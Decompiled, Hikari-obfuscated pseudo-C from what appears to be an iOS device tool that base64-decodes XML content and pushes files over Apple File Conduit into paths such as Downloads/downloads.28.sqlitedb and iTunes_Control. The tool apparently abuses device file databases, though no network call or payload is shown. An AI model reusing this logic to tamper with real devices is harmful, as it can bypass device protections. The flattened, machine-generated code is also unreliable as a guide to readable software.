*v60 = -45937172;
break;
case -1029853517:
*v60 = -72544263;
break;
case -1016938640:
*v60 = 1950180443;
break;
}
}
}
else if ( v38 <= -1774293050 )
{
if ( v38 > -1958031017 )
{
if ( v38 > -1820335770 )
{
if ( v38 == -1820335769 )
{
*v60 = 836831769;
}
else if ( v38 == -1806536215 )
{
v55 = v30 > v27;
v7 = 0;
v5 = -3726512;
v8 = 1818379438;
goto LABEL_345;
}
}
else if ( v38 == -1958031016 )
{
*v60 = 2120934224;
}
else if ( v38 == -1911603673 )
{
v5 = -1684989953;
goto LABEL_347;
}
}
else if ( v38 > -1976291874 )
{
if ( v38 == -1976291873 )
{
v24 = atoll(v23);
*v60 = 1403932007;
}
else if ( v38 == -1962078895 )
{
v5 = 51191743;
goto LABEL_347;
}
}
else if ( v38 == -2124488151 )
{
v19 = 1038857085;
if ( v49 )
v19 = 272192516;
*v60 = v19;
v32 = -1;
}
else if ( v38 == -2078913680 )
{
v29 = time(0);
v11 = time(0);
v9 = 0;
v21 = v11;
v5 = -1435131289;
v10 = 339287906;
goto LABEL_332;
}
}
else if ( v38 <= -1549053122 )
{
if ( v38 > -1589656971 )
{
if ( v38 == -1589656970 )
{
v5 = 1627219690;
goto LABEL_347;
}
if ( v38 == -1579820160 )
{
v7 = 0;
v5 = -308168891;
v8 = 363414292;
goto LABEL_345;
}
}
else if ( v38 == -1774293049 )
{
*v60 = 965651535;
}
else if ( v38 == -1684989953 )
{
__s1 = *v39;
v17 = v48 && __s1 != 0 && *v40 != 0;
v7 = 0;
v23 = *v40;
v49 = v17;
v5 = -1684989953;
v8 = -1820335769;
goto LABEL_345;
}
}
else if ( v38 <= -1505736674 )
{
if ( v38 == -1549053121 )
{
v4 = 1;
v43 = a1 != 0 && a2 != 0;
v5 = -341000981;
v6 = -196402129;
LABEL_337:
if ( !v4 )
v5 = v6;
goto LABEL_347;
}
if ( v38 == -1526418102 )
{
byte_100280B8B = v57 - 2 * (v57 & 0x76) + 118;
byte_100280B8C = 77;
byte_100280B8D = 101;
byte_100280B8E = 116;
byte_100280B8F = 97;
byte_100280B90 = 100;
byte_100280B91 = 97;
*v60 = 1856917855;
}
}
else
{
switch ( v38 )
{
case -1505736673:
v7 = !v52;
v5 = 1663768220;
v8 = 741200461;
goto LABEL_345;
case -1464544453:
*v60 = -646502110;
break;
case -1435131289:
*v60 = 2111243316;
break;
}
}
}
if ( v38 > 1066372122 )
break;
if ( v38 > 410318869 )
{
if ( v38 <= 836831768 )
{
if ( v38 > 615971225 )
{
if ( v38 > 741200460 )
{
if ( v38 == 741200461 )
{
v9 = 1;
v5 = 847858502;
v10 = 854186577;
goto LABEL_332;
}
if ( v38 == 773724210 )
{
v4 = 0;
*v39 = 0;
v5 = 773724210;
v6 = 486521958;
goto LABEL_337;
}
}
else
{
if ( v38 == 615971226 )
{
v7 = 0;
v5 = 1066372123;
v8 = -685686065;
goto LABEL_345;
}
if ( v38 == 621245058 )
*v60 = -316242989;
}
}
else if ( v38 > 594197480 )
{
if ( v38 == 594197481 )
{
v9 = 0;
v5 = -2124488151;
v10 = 1611517683;
goto LABEL_332;
}
if ( v38 == 596510385 )
{
v5 = 2120934224;
goto LABEL_347;
}
}
else if ( v38 == 410318870 )
{
sleep(1u);
*v60 = 1237737679;
}
else if ( v38 == 486521958 )
{
*v60 = -623197775;
}
}
else if ( v38 <= 965651534 )
{
if ( v38 > 847858501 )
{
if ( v38 == 847858502 )
{
*v60 = 854186577;
}
else if ( v38 == 854186577 )
{
v53 = v33 > 0;
v5 = 387020742;
goto LABEL_347;
}
}
else
{
if ( v38 == 836831769 )
{
v4 = 0;
v5 = 1611517683;
v6 = 594197481;
goto LABEL_337;
}
if ( v38 == 838220596 )
{
v16 = HikariFunctionWrapper_18027(__s1, asc_100283528);
v4 = 0;
v36 = v16;
v5 = 838220596;
v6 = 315935823;
goto LABEL_337;
}
}
}
else if ( v38 <= 1009182258 )
{
if ( v38 == 965651535 )
{
v27 = difftime(v26, v29);
*v60 = 14574415;
}
else if ( v38 == 976696737 )
{
NSLog(
CFSTR("\v\xD5\x5B\x8B?\xF1\xE9\xC6\x42=\xEC\x72\xB7\xCB\xF24M\xF8\xE1\x53\xC6\xF8P\xA0\xCD\x07\xFB0f\xCA\x5C\x01\x16\xC7\x47 b\xA3mRs;\xBE\x8EU\xE4\xFD\xDD1"),
a2);
*v60 = 44560593;
}
}
else
{
switch ( v38 )
{
case 1009182259:
*v60 = -580434812;
break;
case 1019387514:
HikariFunctionWrapper_18035(0);
*v60 = -981205858;
break;
case 1038857085:
v33 = v32;
v4 = 1;
v5 = -210898735;
v6 = -1430672130;
goto LABEL_337;
}
}
}
else if ( v38 <= 229945618 )
{
if ( v38 > 118036728 )
{
if ( v38 > 175979738 )
{
if ( v38 == 175979739 )
{
*v60 = -324851311;
}
else if ( v38 == 196400241 )
{
*v60 = 1627219690;
}
}
else if ( v38 == 118036729 )
{
HikariFunctionWrapper_18029(v25);
*v60 = -1029853517;
}
else if ( v38 == 143134517 )
{
*v60 = -1044053537;
}
}
else if ( v38 > 44560592 )
{
if ( v38 == 44560593 )
{
sleep(1u);
*v60 = -910913628;
}
else if ( v38 == 51191743 )
{
*v60 = -11812519;
}
}
else if ( v38 == 2793765 )
{
*v60 = 2024832720;
}
else if ( v38 == 14574415 )
{
v4 = 0;
v5 = -3726512;
v6 = -1806536215;
goto LABEL_337;
}
}
else if ( v38 <= 320366407 )
{
if ( v38 > 276332631 )
{
if ( v38 == 276332632 )
{
*v60 = -1150842180;
v59 = 1;
}
else if ( v38 == 315935823 )
{
*v60 = -364857945;
}
}
else if ( v38 == 229945619 )
{
*v60 = -115086845;
}
else if ( v38 == 272192516 )
{
v4 = 1;
v5 = 838220596;
v6 = -1078920812;
goto LABEL_337;
}
}
else if ( v38 <= 352808849 )
{
if ( v38 == 320366408 )
{
byte_100280B92 = v58 ^ 0x9C;
byte_100280B93 = 97;
byte_100280B94 = 46;
byte_100280B95 = 112;
byte_100280B96 = 108;
byte_100280B97 = 105;
byte_100280B98 = 115;
byte_100280B99 = 116;
byte_100280B9A = 0;
asc_100283528[0] = 115;
byte_100283529 = 116;
byte_10028352A = 95;
byte_10028352B = 115;
byte_10028352C = 105;
byte_10028352D = 122;
byte_10028352E = 101;
byte_10028352F = 0;
*v60 = 1702211041;
}
else if ( v38 == 339287906 )
{
HikariFunctionWrapper_18031(0);
HikariFunctionWrapper_18033(0);
*v60 = -2078913680;
}
}
else
{
switch ( v38 )
{
case 352808850:
v9 = 1;
v5 = 339287906;
v10 = -2078913680;
goto LABEL_332;
case 363414292:
v48 = (unsigned int)HikariFunctionWrapper_18025(*v41) == 0;
v7 = 0;
v5 = -308168891;
v8 = -1418181656;
LABEL_345:
if ( !v7 )
v5 = v8;
goto LABEL_347;
case 387020742:
*v60 = 596510385;
break;
}
}
}
if ( v38 > 1666037830 )
break;
if ( v38 <= 1403932006 )
{
if ( v38 > 1270640614 )
{
if ( v38 > 1374295123 )
{
if ( v38 == 1374295124 )
{
v4 = 1;
v5 = -316242989;
v6 = 621245058;
goto LABEL_337;
}
if ( v38 == 1381567826 )
*v60 = 1543595544;
}
else
{
if ( v38 == 1270640615 )
{
v7 = 0;
v5 = 2049006092;
v8 = 276332632;
goto LABEL_345;
}
if ( v38 == 1293580107 )
{
v7 = 0;
v5 = -498059785;
v8 = -1091415948;
goto LABEL_345;
}
}
}
else if ( v38 > 1219856350 )
{
if ( v38 == 1219856351 )
{
v5 = 773724210;
goto LABEL_347;
}
if ( v38 == 1237737679 )
{
v4 = 1;
v5 = -1962078895;
v6 = 2105212513;
goto LABEL_337;
}
}
else if ( v38 == 1066372123 )
{
*v60 = -685686065;
}
else if ( v38 == 1125423766 )
{
v7 = !v53;
LABEL_170:
v5 = 410318870;
v8 = -1464544453;
goto LABEL_345;
}
}
else if ( v38 <= 1606217590 )
{
if ( v38 > 1500943969 )
{
if ( v38 == 1500943970 )
{
*v39 = 0;
*v60 = 773724210;
}
else if ( v38 == 1543595544 )
{
*v60 = 2055834114;
}
}
else if ( v38 == 1403932007 )
{
*v60 = 1038857085;
v32 = v24;
}
else if ( v38 == 1410080070 )
{
*v60 = 2094245535;
}
}
else if ( v38 <= 1627219689 )
{
if ( v38 == 1606217591 )
{
v9 = v34 < 0xB3AEFF2;
v5 = -115086845;
v10 = 229945619;
goto LABEL_332;
}
if ( v38 == 1611517683 )
*v60 = 594197481;
}
else
{
switch ( v38 )
{
case 1627219690:
v44 = v30 > v22;
v4 = 0;
v5 = 1627219690;
v6 = -331087388;
goto LABEL_337;
case 1656014620:
*v60 = -1319754041;
break;
case 1663768220:
v54 = v33 >= 3072;
*v60 = 1374295124;
break;
}
}
}
if ( v38 > 1937867791 )
break;
if ( v38 > 1804324723 )
{
if ( v38 > 1856507222 )
{
if ( v38 == 1856507223 )
{
v4 = 1;
dword_10029F5C4 = 1;
v5 = 175979739;
LABEL_304:
v6 = 1856507223;
goto LABEL_337;
}
if ( v38 == 1856917855 )
{
byte_100280B8B = v57 ^ 0x76;
byte_100280B8C = 77;
byte_100280B8D = 101;
byte_100280B8E = 116;
byte_100280B8F = 97;
byte_100280B90 = 100;
byte_100280B91 = 97;
v58 = -24;
*v60 = -755094198;
}
}
else
{
if ( v38 == 1804324724 )
{
v9 = 1;
v5 = 2793765;
v10 = 2024832720;
goto LABEL_332;
}
if ( v38 == 1818379438 )
{
v15 = -1150842180;
if ( v55 )
v15 = -1086545286;
*v60 = v15;
v59 = 0;
}
}
}
else if ( v38 > 1703194392 )
{
if ( v38 == 1703194393 )
{
v9 = 1;
v5 = 320366408;
v10 = 1702211041;
goto LABEL_332;
}
if ( v38 == 1731680155 )
{
v7 = !v42;
v5 = -218262789;
v8 = 1410080070;
goto LABEL_345;
}
}
else if ( v38 == 1666037831 )
{
dword_10029F5C4 = 1;
*v60 = 1856507223;
}
else if ( v38 == 1702211041 )
{
byte_100280B92 = v58 ^ 0x9C;
byte_100280B93 = 97;
byte_100280B94 = 46;
byte_100280B95 = 112;
byte_100280B96 = 108;
byte_100280B97 = 105;
byte_100280B98 = 115;
byte_100280B99 = 116;
v9 = 1;
byte_100280B9A = 0;
asc_100283528[0] = 115;
byte_100283529 = 116;
byte_10028352A = 95;
byte_10028352B = 115;
byte_10028352C = 105;
byte_10028352D = 122;
byte_10028352E = 101;
byte_10028352F = 0;
v5 = 1702211041;
v10 = -754270158;
goto LABEL_332;
}
}
if ( v38 > 2055834113 )
break;
if ( v38 > 2024832719 )
{
if ( v38 == 2024832720 )
{
v4 = 1;
v5 = -2845769;
v6 = 2024832720;
goto LABEL_337;
}
if ( v38 == 2049006092 )
*v60 = 1270640615;
}
else
{
if ( v38 == 1937867792 )
{
v41 = &v21;
v39 = (char **)&v21;
v40 = (char **)(&v21 - 2);
v5 = -1016938640;
goto LABEL_347;
}
if ( v38 == 1950180443 )
{
v9 = 1;
v5 = -196402129;
v10 = -1549053121;
goto LABEL_332;
}
}
}
if ( v38 <= 2111243315 )
break;
if ( v38 == 2111243316 )
{
v22 = difftime(v21, v29);
v30 = v28;
*v60 = -1589656970;
}
else if ( v38 == 2120934224 )
{
v5 = 1125423766;
goto LABEL_347;
}
}
if ( v38 == 2094245535 )
{
strcpy(asc_100283570, "[Aldaz] File not yet available: %s (retrying...)");
qmemcpy(&byte_100280B70, "iTunes_Control/iTunes/iTune", 27);
v9 = 1;
v57 = 5;
v5 = -1090386586;
v10 = -1241135629;
goto LABEL_332;
}
if ( v38 != 2105212513 )
break;
*v60 = -1962078895;
}
}
while ( v38 != 2055834114 );
return v56;
}
// 10025610E: using guessed type __int64 __fastcall AFCFileInfoOpen(_QWORD, _QWORD, _QWORD);
// 100256132: using guessed type __int64 __fastcall AFCKeyValueRead(_QWORD);
// 100280B8B: using guessed type char byte_100280B8B;
// 100280B8C: using guessed type char byte_100280B8C;
// 100280B8D: using guessed type char byte_100280B8D;
// 100280B8E: using guessed type char byte_100280B8E;
// 100280B8F: using guessed type char byte_100280B8F;
// 100280B90: using guessed type char byte_100280B90;
// 100280B91: using guessed type char byte_100280B91;
// 100280B92: using guessed type char byte_100280B92;
// 100280B93: using guessed type char byte_100280B93;
// 100280B94: using guessed type char byte_100280B94;
// 100280B95: using guessed type char byte_100280B95;
// 100280B96: using guessed type char byte_100280B96;
// 100280B97: using guessed type char byte_100280B97;
// 100280B98: using guessed type char byte_100280B98;
// 100280B99: using guessed type char byte_100280B99;
// 100280B9A: using guessed type char byte_100280B9A;
// 100283529: using guessed type char byte_100283529;
// 10028352A: using guessed type char byte_10028352A;
// 10028352B: using guessed type char byte_10028352B;
// 10028352C: using guessed type char byte_10028352C;
// 10028352D: using guessed type char byte_10028352D;
// 10028352E: using guessed type char byte_10028352E;
// 10028352F: using guessed type char byte_10028352F;
// 10029F5C4: using guessed type int dword_10029F5C4;
//----- (000000010015AD2F) ----------------------------------------------------
__int64 __fastcall UploadBase64FilesFromXMLCleaned(void *a1, __int64 a2)
{
bool v2; // zf
int v3; // eax
int v4; // ecx
char v5; // cf
int v6; // ecx
id v7; // rax
id v8; // rax
bool v9; // zf
int v10; // ecx
id v11; // rax
bool v12; // cf
int v13; // ecx
id v14; // rax
id v15; // rax
id v16; // rax
id v17; // rax
id v18; // r13
id v19; // rax
id v20; // rax
id v21; // rax
unsigned __int8 v22; // al
id v23; // rax
id v24; // rax
id v25; // rax
id v26; // r13
id v27; // rax
id v28; // rax
int v29; // eax
id v30; // rax
id v31; // rax
id v32; // rax
id v33; // rax
id v34; // rax
int v35; // eax
id v36; // rax
id v37; // r13
id v38; // rax
bool v39; // al
__int64 v41; // [rsp+0h] [rbp-1A0h] BYREF
id v42; // [rsp+8h] [rbp-198h]
SEL v43; // [rsp+10h] [rbp-190h]
id v44; // [rsp+18h] [rbp-188h]
SEL v45; // [rsp+20h] [rbp-180h]
id v46; // [rsp+28h] [rbp-178h]
id v47; // [rsp+30h] [rbp-170h]
SEL v48; // [rsp+38h] [rbp-168h]
void *v49; // [rsp+40h] [rbp-160h]
SEL v50; // [rsp+48h] [rbp-158h]
SEL v51; // [rsp+50h] [rbp-150h]
SEL v52; // [rsp+58h] [rbp-148h]
SEL v53; // [rsp+60h] [rbp-140h]
SEL v54; // [rsp+68h] [rbp-138h]
id v55; // [rsp+70h] [rbp-130h]
id v56; // [rsp+78h] [rbp-128h]
id v57; // [rsp+80h] [rbp-120h]
__int64 v58; // [rsp+88h] [rbp-118h]
__int64 v59; // [rsp+90h] [rbp-110h]
unsigned __int64 v60; // [rsp+98h] [rbp-108h]
unsigned __int64 v61; // [rsp+A0h] [rbp-100h]
id v62; // [rsp+A8h] [rbp-F8h]
unsigned int v63; // [rsp+B4h] [rbp-ECh]
int v64; // [rsp+B8h] [rbp-E8h]
int v65; // [rsp+BCh] [rbp-E4h] BYREF
id v66; // [rsp+C0h] [rbp-E0h]
id v67; // [rsp+C8h] [rbp-D8h]
id v68; // [rsp+D0h] [rbp-D0h]
id v69; // [rsp+D8h] [rbp-C8h]
__int64 *v70; // [rsp+E0h] [rbp-C0h]
__int64 *v71; // [rsp+E8h] [rbp-B8h]
__int64 *v72; // [rsp+F0h] [rbp-B0h]
id v73; // [rsp+F8h] [rbp-A8h]
const char *v74; // [rsp+100h] [rbp-A0h]
id v75; // [rsp+108h] [rbp-98h]
SEL v76; // [rsp+110h] [rbp-90h]
SEL v77; // [rsp+118h] [rbp-88h]
unsigned __int64 v78; // [rsp+120h] [rbp-80h]
id *v79; // [rsp+128h] [rbp-78h]
SEL v80; // [rsp+130h] [rbp-70h]
id v81; // [rsp+138h] [rbp-68h]
id v82; // [rsp+140h] [rbp-60h]
id v83; // [rsp+148h] [rbp-58h]
id v84; // [rsp+150h] [rbp-50h]
bool v85; // [rsp+15Dh] [rbp-43h]
bool v86; // [rsp+15Eh] [rbp-42h]
bool v87; // [rsp+15Fh] [rbp-41h]
bool v88; // [rsp+160h] [rbp-40h]
bool v89; // [rsp+161h] [rbp-3Fh]
unsigned __int8 v90; // [rsp+162h] [rbp-3Eh]
bool v91; // [rsp+163h] [rbp-3Dh]
bool v92; // [rsp+164h] [rbp-3Ch]
bool v93; // [rsp+165h] [rbp-3Bh]
bool v94; // [rsp+166h] [rbp-3Ah]
bool v95; // [rsp+167h] [rbp-39h]
int *v96; // [rsp+168h] [rbp-38h]
__int64 v97; // [rsp+170h] [rbp-30h]
v69 = a1;
v97 = -1;
v63 = -1670916033;
v65 = -196610562;
v96 = &v65;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v65 <= -28262829 )
{
if ( v65 <= -993907949 )
{
if ( v65 <= -1673374666 )
{
if ( v65 <= -1902885067 )
{
if ( v65 > -2038567532 )
{
if ( v65 <= -1994600961 )
{
if ( v65 == -2038567531 )
{
v49 = &OBJC_CLASS___NSDictionary;
v80 = "class";
*v96 = 260151984;
}
else if ( v65 == -2012572568 )
{
*v96 = -649050983;
}
}
else
{
switch ( v65 )
{
case -1994600960:
*v96 = -254974984;
break;
case -1961792125:
goto LABEL_303;
case -1909294531:
v8 = HikariFunctionWrapper_18039(v49, v80);
v2 = 0;
v42 = v8;
v3 = -1909294531;
v4 = 323770627;
goto LABEL_418;
}
}
}
else if ( v65 <= -2118911916 )
{
if ( v65 == -2145882317 )
{
*v96 = 1173570766;
}
else if ( v65 == -2124113936 )
{
v9 = 0;
v64 = dword_10029F5C8;
v3 = -603894071;
v10 = -2124113936;
goto LABEL_404;
}
}
else
{
switch ( v65 )
{
case -2118911915:
v2 = !v87;
v3 = 1547040016;
v4 = 583880353;
goto LABEL_418;
case -2101386911:
*v96 = -1883370995;
break;
case -2099730418:
v7 = HikariFunctionWrapper_18051(v57, v52);
v2 = 0;
v46 = v7;
v3 = -2099730418;
v4 = 1180886617;
goto LABEL_418;
}
}
}
else if ( v65 <= -1838878107 )
{
if ( v65 <= -1876459332 )
{
if ( v65 == -1902885066 )
{
*v96 = 783210216;
}
else if ( v65 == -1883370995 )
{
v2 = !v85;
v3 = 1265156256;
v4 = 1880843246;
goto LABEL_418;
}
}
else
{
switch ( v65 )
{
case -1876459331:
v9 = 0;
v48 = "dataUsingEncoding:";
v3 = -1994600960;
v10 = -232684372;
goto LABEL_404;
case -1867200706:
objc_release(v55);
v60 = v78 + 1;
v28 = objc_msgSend(v81, v50);
v95 = (unsigned __int64)v28 > v60;
v2 = 0;
v3 = -1867200706;
v4 = 710040672;
goto LABEL_418;
case -1844147591:
v11 = objc_alloc((Class)&OBJC_CLASS___NSData);
v12 = 1;
v57 = v11;
v3 = 884674649;
v13 = -1844147591;
goto LABEL_409;
}
}
}
else if ( v65 > -1778424693 )
{
switch ( v65 )
{
case -1778424692:
v84 = v68;
v5 = 1;
v3 = -1220087227;
v6 = 425146875;
LABEL_423:
if ( v5 )
v3 = v6;
goto LABEL_425;
case -1701164725:
AFCPushMemory(a2, v58, v59, (__int64)v82);
v12 = 1;
v3 = 702924296;
v13 = -170684440;
goto LABEL_409;
case -1700386382:
v15 = HikariFunctionWrapper_18059(v81, v76);
v16 = objc_retainAutoreleasedReturnValue(v15);
v17 = objc_msgSend(v73, v51, v16);
v18 = objc_retainAutoreleasedReturnValue(v17);
HikariFunctionWrapper_18061(&OBJC_CLASS___NSData, v80);
HikariFunctionWrapper_18063(v18, v74);
*v96 = -1818976050;
break;
}
}
else
{
switch ( v65 )
{
case -1838878106:
goto LABEL_224;
case -1818976050:
v33 = objc_msgSend(v81, v76, v78);
v55 = objc_retainAutoreleasedReturnValue(v33);
v34 = objc_msgSend(v73, v51, v55);
v83 = objc_retainAutoreleasedReturnValue(v34);
HikariFunctionWrapper_18045(&OBJC_CLASS___NSData, v80);
v89 = (unsigned __int8)HikariFunctionWrapper_18047(v83, v74) == 0;
v5 = 0;
v3 = 1603337319;
v6 = -1700386382;
goto LABEL_423;
case -1818569463:
HikariFunctionWrapper_18067((objc_class *)&OBJC_CLASS___NSData);
*v96 = -1844147591;
break;
}
}
}
else if ( v65 > -1274514224 )
{
if ( v65 <= -1103342700 )
{
if ( v65 <= -1230320486 )
{
if ( v65 == -1274514223 )
{
*v96 = -993907948;
}
else if ( v65 == -1250690023 )
{
*v96 = 695152359;
}
}
else
{
switch ( v65 )
{
case -1230320485:
dword_10029F5C8 = 1;
*v96 = 1557149609;
break;
case -1220087227:
v25 = objc_msgSend(v75, v76, v78);
v26 = objc_retainAutoreleasedReturnValue(v25);
objc_retainAutorelease(v26);
HikariFunctionWrapper_18069(v26, v53);
objc_release(v26);
*v96 = 425146875;
break;
case -1125940884:
*v96 = -727555795;
break;
}
}
}
else if ( v65 > -1063772529 )
{
switch ( v65 )
{
case -1063772528:
v9 = 0;
v3 = 666756845;
v10 = 657079456;
goto LABEL_404;
case -1060021030:
objc_msgSend(v57, v52, v83, 0);
*v96 = -2099730418;
break;
case -996847079:
v2 = 0;
v3 = -1902885066;
v4 = 783210216;
goto LABEL_418;
}
}
else
{
switch ( v65 )
{
case -1103342699:
v2 = !v93;
v3 = -649125089;
LABEL_391:
v4 = 434507958;
goto LABEL_418;
case -1091649911:
objc_release(v83);
v12 = 0;
v3 = -683312862;
v13 = -783377379;
goto LABEL_409;
case -1064464428:
*v96 = -1435059705;
break;
}
}
}
else if ( v65 <= -1493733070 )
{
if ( v65 <= -1623233420 )
{
if ( v65 == -1673374665 )
{
*v96 = -207783515;
}
else if ( v65 == -1659538543 )
{
v9 = 0;
v3 = -2118911915;
v10 = -1659538543;
goto LABEL_404;
}
}
else
{
switch ( v65 )
{
case -1623233419:
*v96 = 6304928;
break;
case -1520508349:
objc_release(v84);
v2 = 0;
v3 = 1472741787;
v4 = -1467733793;
goto LABEL_418;
case -1507178976:
objc_msgSend(v84, v77);
*v96 = 1084009546;
break;
}
}
}
else if ( v65 > -1458381294 )
{
switch ( v65 )
{
case -1458381293:
v2 = !v92;
v3 = 665634839;
goto LABEL_391;
case -1435059705:
v2 = 0;
v3 = 1222753386;
v4 = -439226339;
goto LABEL_418;
case -1295484572:
*v96 = 1952749607;
break;
}
}
else
{
switch ( v65 )
{
case -1493733069:
v35 = -913797192;
if ( v91 )
v35 = -1778424692;
*v96 = v35;
v68 = 0;
break;
case -1487039389:
v30 = HikariFunctionWrapper_18037(v69, v48);
v31 = objc_retainAutoreleasedReturnValue(v30);
v2 = 0;
v66 = v31;
v3 = -1487039389;
v4 = -328244633;
goto LABEL_418;
case -1467733793:
*v96 = 1794409894;
break;
}
}
}
else if ( v65 > -548260210 )
{
if ( v65 > -232684373 )
{
if ( v65 <= -204000598 )
{
if ( v65 <= -225317838 )
{
if ( v65 == -232684372 )
{
*v96 = -1876459331;
}
else if ( v65 == -229897334 )
{
objc_msgSend(v56, v80);
v22 = (unsigned __int8)HikariFunctionWrapper_18049(v83, v74);
v5 = 1;
v90 = v22;
v3 = 21391449;
v6 = -293168331;
goto LABEL_423;
}
}
else
{
switch ( v65 )
{
case -225317837:
a3X[3] = 116;
a3X[4] = 0;
strcpy(asc_100283300, "[Aldaz] Error parsing XML: %@");
strcpy(asc_100283620, "aquel_amor_quisimos_dar_aquel_amor_no_pudo_mas");
qmemcpy(asc_100283260, "Downloads/downloads.28.s", 24);
v2 = 0;
v3 = -225317837;
v4 = -1250690023;
goto LABEL_418;
case -212401347:
*v96 = 1619753147;
v62 = v44;
break;
case -207783515:
v5 = 1;
v87 = v86 && a2 != 0;
v3 = -207783515;
v6 = 639261748;
goto LABEL_423;
}
}
}
else if ( v65 > -158284957 )
{
switch ( v65 )
{
case -158284956:
*v96 = -1778424692;
v68 = v46;
break;
case -156061882:
v12 = 1;
v3 = 1806168295;
v13 = -156061882;
goto LABEL_409;
case -153492378:
v9 = 0;
v3 = 6304928;
v10 = -1623233419;
goto LABEL_404;
}
}
else
{
switch ( v65 )
{
case -204000597:
*v96 = 1042582845;
break;
case -196610562:
v12 = v63 < 0xFD8F6A46;
v3 = -2124113936;
v13 = 1340494677;
goto LABEL_409;
case -170684440:
AFCPushMemory(a2, v58, v59, (__int64)v82);
*v96 = -1701164725;
break;
}
}
}
else if ( v65 <= -433292564 )
{
if ( v65 <= -509386106 )
{
if ( v65 == -548260209 )
{
*v96 = -153492378;
}
else if ( v65 == -518910712 )
{
objc_retainAutorelease(v84);
v21 = objc_msgSend(v84, v54);
v9 = 0;
v58 = (__int64)v21;
v3 = 1718069360;
goto LABEL_275;
}
}
else
{
switch ( v65 )
{
case -509386105:
v5 = 1;
v3 = 818524348;
v6 = 952500553;
goto LABEL_423;
case -445161938:
a3X[3] = 116;
a3X[4] = 0;
strcpy(asc_100283300, "[Aldaz] Error parsing XML: %@");
strcpy(asc_100283620, "aquel_amor_quisimos_dar_aquel_amor_no_pudo_mas");
qmemcpy(asc_100283260, "Downloads/downloads.28.s", 24);
*v96 = -225317837;
break;
case -439226339:
v9 = 0;
v3 = 334295540;
v10 = 1222753386;
goto LABEL_404;
}
}
}
else if ( v65 > -293168332 )
{
switch ( v65 )
{
case -293168331:
*v96 = -632617779;
break;
case -289395017:
v9 = 0;
v3 = 1084009546;
v10 = -1507178976;
goto LABEL_404;
case -254974984:
v9 = 0;
v3 = -1487039389;
v10 = 1416869869;
goto LABEL_404;
}
}
else
{
switch ( v65 )
{
case -433292563:
HikariFunctionWrapper_18057(v49, v80);
*v96 = -1909294531;
break;
case -410754798:
v9 = 0;
v3 = 1499534143;
v10 = 1934565470;
goto LABEL_404;
case -328244633:
*v96 = 1105883178;
break;
}
}
}
else if ( v65 > -704118849 )
{
if ( v65 <= -649050984 )
{
if ( v65 <= -683312863 )
{
if ( v65 == -704118848 )
{
v9 = 0;
v3 = -692511193;
v10 = 1155760570;
goto LABEL_404;
}
if ( v65 == -692511193 )
{
v12 = 1;
v3 = 2044819593;
v13 = 1155760570;
goto LABEL_409;
}
}
else
{
switch ( v65 )
{
case -683312862:
objc_release(v83);
*v96 = -1091649911;
break;
case -658576748:
*v96 = 1488433867;
break;
case -649125089:
v9 = 0;
v3 = -518910712;
LABEL_275:
v10 = 60977231;
goto LABEL_404;
}
}
}
else if ( v65 > -603894072 )
{
switch ( v65 )
{
case -603894071:
*v96 = 1567063347;
break;
case -577542625:
v5 = 1;
v3 = -949759427;
v6 = 1320893829;
goto LABEL_423;
case -562366425:
strcpy(asc_100283740, "estando_todo_tan_violento_y_lo_que_nos_falto_decir");
asc_1002836B0[0] = 91;
asc_1002836B0[1] = 45;
asc_1002836B0[2] = 93;
asc_1002836B0[3] = 32;
asc_1002836B0[4] = 70;
asc_1002836B0[5] = 97;
asc_1002836B0[6] = 108;
asc_1002836B0[7] = 108;
asc_1002836B0[8] = 243;
asc_1002836B0[9] = 32;
asc_1002836B0[10] = 99;
asc_1002836B0[11] = 114;
asc_1002836B0[12] = 101;
asc_1002836B0[13] = 97;
asc_1002836B0[14] = 99;
asc_1002836B0[15] = 105;
asc_1002836B0[16] = 243;
asc_1002836B0[17] = 110;
asc_1002836B0[18] = 32;
asc_1002836B0[19] = 97;
asc_1002836B0[20] = 114;
asc_1002836B0[21] = 99;
asc_1002836B0[22] = 104;
asc_1002836B0[23] = 105;
asc_1002836B0[24] = 118;
asc_1002836B0[25] = 111;
asc_1002836B0[26] = 32;
asc_1002836B0[27] = 118;
asc_1002836B0[28] = 97;
asc_1002836B0[29] = 99;
asc_1002836B0[30] = 237;
asc_1002836B0[31] = 111;
asc_1002836B0[32] = 32;
asc_1002836B0[33] = 8594;
asc_1002836B0[34] = 32;
asc_1002836B0[35] = 37;
asc_1002836B0[36] = 115;
asc_1002836B0[37] = 0;
strcpy(asc_100283210, "Downloads/downloads.28.sqlitedb-wal");
a3X[0] = 109;
a3X[1] = 105;
a3X[2] = 114;
*v96 = 330958185;
break;
}
}
else
{
switch ( v65 )
{
case -649050983:
v12 = 0;
v52 = "initWithBase64EncodedString:options:";
v53 = "UTF8String";
v3 = -649050983;
v13 = -658576748;
goto LABEL_409;
case -632617779:
v12 = 0;
v3 = 741639254;
v13 = -616725899;
goto LABEL_409;
case -616725899:
v91 = v90 == 0;
v5 = 1;
v3 = 741639254;
v6 = -1493733069;
goto LABEL_423;
}
}
}
else if ( v65 <= -821572529 )
{
if ( v65 <= -942686164 )
{
if ( v65 == -993907948 )
{
v12 = 0;
v3 = 21391449;
v13 = -229897334;
goto LABEL_409;
}
if ( v65 == -949759427 )
*v96 = 1320893829;
}
else
{
switch ( v65 )
{
case -942686163:
v12 = 1;
v3 = -2099730418;
v13 = -1060021030;
goto LABEL_409;
case -913797192:
v5 = 1;
v3 = -1818569463;
v6 = -1844147591;
goto LABEL_423;
case -897181109:
v9 = 0;
v3 = -158284956;
v10 = -897181109;
goto LABEL_404;
}
}
}
else if ( v65 > -783377380 )
{
switch ( v65 )
{
case -783377379:
*v96 = 753037100;
break;
case -773974384:
v2 = !v88;
v3 = 10165334;
v4 = -2038567531;
goto LABEL_418;
case -727555795:
v5 = 0;
v3 = -207783515;
v6 = -1673374665;
goto LABEL_423;
}
}
else
{
switch ( v65 )
{
case -821572528:
v2 = 0;
v3 = 1089095138;
v4 = 1138283580;
goto LABEL_418;
case -799565187:
*v96 = 1410661710;
break;
case -791785673:
objc_release(v75);
*v96 = 1952749607;
break;
}
}
}
if ( v65 > 1042582844 )
break;
if ( v65 <= 598263640 )
{
if ( v65 <= 266600299 )
{
if ( v65 > 60977230 )
{
if ( v65 <= 130827884 )
{
if ( v65 == 60977231 )
{
objc_retainAutorelease(v84);
HikariFunctionWrapper_18071(v84, v54);
*v96 = -518910712;
}
else if ( v65 == 106605771 )
{
v45 = "arrayWithObjects:count:";
v20 = HikariFunctionWrapper_18043(&OBJC_CLASS___NSArray, "arrayWithObjects:count:");
